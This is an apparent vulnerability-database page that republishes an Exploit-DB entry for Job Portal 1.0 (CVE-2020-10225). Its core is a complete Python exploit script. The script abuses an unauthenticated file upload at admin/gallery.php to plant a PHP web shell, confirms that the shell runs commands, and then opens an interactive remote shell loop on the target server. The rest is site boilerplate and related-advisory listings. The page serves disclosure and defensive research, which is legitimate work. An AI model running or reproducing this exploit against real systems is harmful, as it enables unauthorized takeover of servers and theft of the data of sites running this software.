Lucene search
+L

Job Portal 1.0 - Remote Code Execution (RCE)

🗓️ 07 Jan 2020 00:00:00Reported by Tib3riusType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 275 Views

Job Portal 1.0 has a remote code execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-10225
8 Mar 202000:00
–attackerkb
cnvd
CNVD
PHPGurukul Job Portal Unauthenticated File Upload Vulnerability
9 Mar 202000:00
–cnvd
cve
CVE
CVE-2020-10225
8 Mar 202022:11
–cve
cvelist
Cvelist
CVE-2020-10225
8 Mar 202022:11
–cvelist
euvd
EUVD
EUVD-2020-2683
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2020-10225
8 Mar 202023:15
–nvd
osv_cve
osv_cve
CVE-2020-10225
8 Mar 202023:15
–osv_cve
prion
Prion
Unrestricted file upload
8 Mar 202023:15
–prion
ptsecurity
Positive Technologies
PT-2020-11983 · Phpgurukul · Phpgurukul Job Portal
8 Mar 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-10225: Unrestricted Upload of File with Dangerous Type
8 Mar 202000:00
–rapid7
Rows per page
# Exploit Title: Job Portal 1.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-03
# Exploit Author: Tib3rius
# Vendor Homepage: https://phpgurukul.com/job-portal-project/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7855
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'file': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin/gallery.php', files=file, data={'submit':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php')
    print('> Example command usage: ' + url + '/admin/uploadimg/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.11842
275